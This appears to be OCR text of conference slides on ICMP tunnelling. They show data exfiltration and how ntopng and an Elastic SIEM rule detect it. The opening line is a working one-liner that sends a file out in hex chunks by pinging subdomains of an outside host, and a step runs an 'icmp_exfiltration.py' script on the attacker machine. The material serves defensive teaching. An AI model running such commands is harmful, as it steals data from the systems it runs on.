xxd -p -c 16 exfiltration.txt | while read h; do ping -c 1 ${h}.sec4u.co; done

ICMP Tunnelling

© Wiirth Phoenix

massimol[.Jgiaimo@wuerth-phoenix[.Jcom
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Attack

ON ATTACKER MACHINE:
sudo python3 icmp_exfiltration.py

— you can find icmp_exfiltration.py script here

https://gist.github.com/maxrodrigo/a7a8c4bd7dfe64eb305b4c70dee70233#file-icmp_exfiltration-py

attackmitre.org W Q> e a0 ]

Matrices Tactics ~ Techniques ~ Data Sources Mitigations ~ Groups Software Resources ~

MITRE | ATT&CK

Blog &' Contribute | Search Q

The new v11.2 release of MITRE ATT&CK contains a beta version of Sub-Techniques for Mobile. The current, stable Mobile content can be accessed via the v10 release URL.

TECHNIQUES
Fallback Channels

Ingress Tool Transfer Protocol Tunne“ng

Multi-Stage Channels

Home > Techniques > Enterprise > Protocol Tunneling

Adversaries may tunnel network communications to and from a victim system

Nen-ZplicationilayerFrotocel within a separate protocol to avoid detection/network filtering and/or enable iD:ii 572

Non-Standard Port access to otherwise unreachable systems. Tunneling involves explicitly Sub-techniques: No sub-
Protocol Tunneling encapsulating a protocol within another. This behavior may conceal malicious i techhiques
Proxy “ traffic by blending in with existing traffic and/or provide an outer layer of %T)Tactic: Comlﬁand ar»]d Control
encryption (similar to a VPN). Tunneling could also enable routing of network (©Platforms: Linux, Windows,

Remote/AccessiSottware packets that would otherwise not reach their intended destination, such as macos
Traffic Signaling ¥ SMB, RDP, or other traffic that would be filtered by network appliances or not Version: 1.0
Web Service v routed over the Internet. Created: 15 March 2020

Exfiltration “ o . . Last Modified: 27 March

ere are various means to encapsulate a protocol within another protocol. For 2020
Impact v example, adversaries may perform SSH tunneling (also known as SSH port
Mobile 3 forwarding), which involves forwarding arbitrary data over an encrypted SSH Version Permalink

‘ ICMP Tunnelling el

© Wiirth Phoenix
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$ sudo python3 icmp_exfiltration.py

This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to
everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of intere
st to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022
! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it wa
s of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conf
erence 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I
hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test fo
r NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in
the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltrat
ion test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for partic
ipating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is a
n exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone
for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you
! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks
to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of inte
rest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 20
22! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it
was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Co
nference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk,
I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test
for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is(an exfiltratiop test for NTOP Confsrence 2022! Thanks to everyone_for participating i

to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022

icipating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is
an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyo
ne for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to y
ou! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thank
s to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of in
terest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference
2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope i
t was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP
Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the tal
k, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration tes
t for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating
in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfil
tration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for pa
rticipating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This
is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to ever
yone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to
you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Tha
nks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of
interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conferenc
e 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope
it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTO
P Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the t
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D t t ]
meenpos3ifs- T 10NN gEYY OE EE EDED €3 Q  search P =
A Alerts | All Host Interface Flow Device « @
P Ak Last30Min v & ‘18/06/2022 23:30 J - ‘19/06/2022 00:00 ‘ El-- cacos
Severity >= Error x B
15
1.0
. A
0.0
Show| 10 v|entries Top Clients~  Top Servers~ TopAlerts~  Top Applications & @ ~
:”' . Date/Time Score v Application Alert Flow Information Client Pool Server Pool Client Network Server Network Actions
© 18/06/2022 23:59:17 100 ICMP:ICMP ()  Data Exfiltration = sec4u001 @1¢2192.168.2.11 @1 Data Exfiltration  Default Default
« < ; 1 > »
Processed 1 records [32 records/sec].
Query performed in 0.03 seconds. [T
ntopng Enterprise L v.5.3.220616 (Ubuntu 20.04.4 LTS) | © © 1998-22 - ntop.org © 00:00:53 +0200 | Uptime: 01:41:07
ICMP Tunnelling
S@C4U
© Wiurth Phoenix
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Shortcuts

®

Dashboard

ICMP Tunnelling

© Wiirth Phoenix

Detection

meenpos3ifs- J BT I 0NNYE 1O (ENED B DS

A Alert: Data Exfiltration | sec4u001:0 g2 192.168.2.11:0 | Overview

Alert | Data Exfiltration

Flow Peers [ Client / Server] sec4u001[192.168.2.9]:0 1 g2 192.168.2.11:0 12

Protocol / Application ICMP:ICMP
Date/Time 18/06/2022 23:59:17
Score 100

Description
Other Issues
Traffic Info Client to Server Traffic 3.6 MB
Main Direction Server - Client

Server to Client Traffic 6.18 MB

Flow Related Info 1
Flow Related Info ICMP Code 0
ICMP Type Echo reply (0)

massimol[.Jgiaimo@wuerth-phoenix[.Jcom

Q

Search

© 00:02:44 +0200 | Uptime: 01:42:58
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WEB Interface:

© Wiirth Phoenix

Shortcurs —

Notifications

Edit Endpoint: neteye_soc

neteye_soc

ECS

172.16.21.1

(This field is optional)

6001

(This field is optional)

Protocol uppP
(This field is optional)

® Host, Port and Protocol should be specified for remote syslog servers only.
® ECS (Elasticsearch Common Schema) format is documented here [4.

ntop as source of Elastic SIEM

® Raw JSON format is self-documented in the code [4 and is meant to be used only by programmers who intend to

programmatically process notifications.

massimol[.]giaimo@wuerth-phoenix[.Jcom
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A\
& elastic o 5O
= Security Rules NTOP High Risk Score Alert ML job settings v @B Adddata
# Security =B Search kaL v Today Show dates C Refresh
®  + Add filter
Overview
. .
NTOP High Risk Score Aler
Alerts Created by: sa_103956_security_api_user on Jun 17, 2022 @ 15:05:25.402 Updated by: s 7,2 5:25.402 X Activate 25 Edit rule settings l H ’
Rules T — c
Exceptions
Explore
Hosts About
Network f. .. o
Definition
Investigate
fimefines Detects alerts generated from ntop which have an high risk scoring. This can be a sign of attack or malicious
activity
Cases : e
Index patterns filebeat-
Author soc
Manage " " .
: i Custom query observer.product : "ntopng” AND event.risk_score > 100
Endpoints Severity @ High
Trusted applications Rule tvpe o
; Risk score 73 yp y
Event filters
Timestamp override event.ingested Timeline template None
Tags NTOP Network FROM_SOC SChedule
@ e Untitled timeline
S@C4U
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Thank you
Grazie Danke
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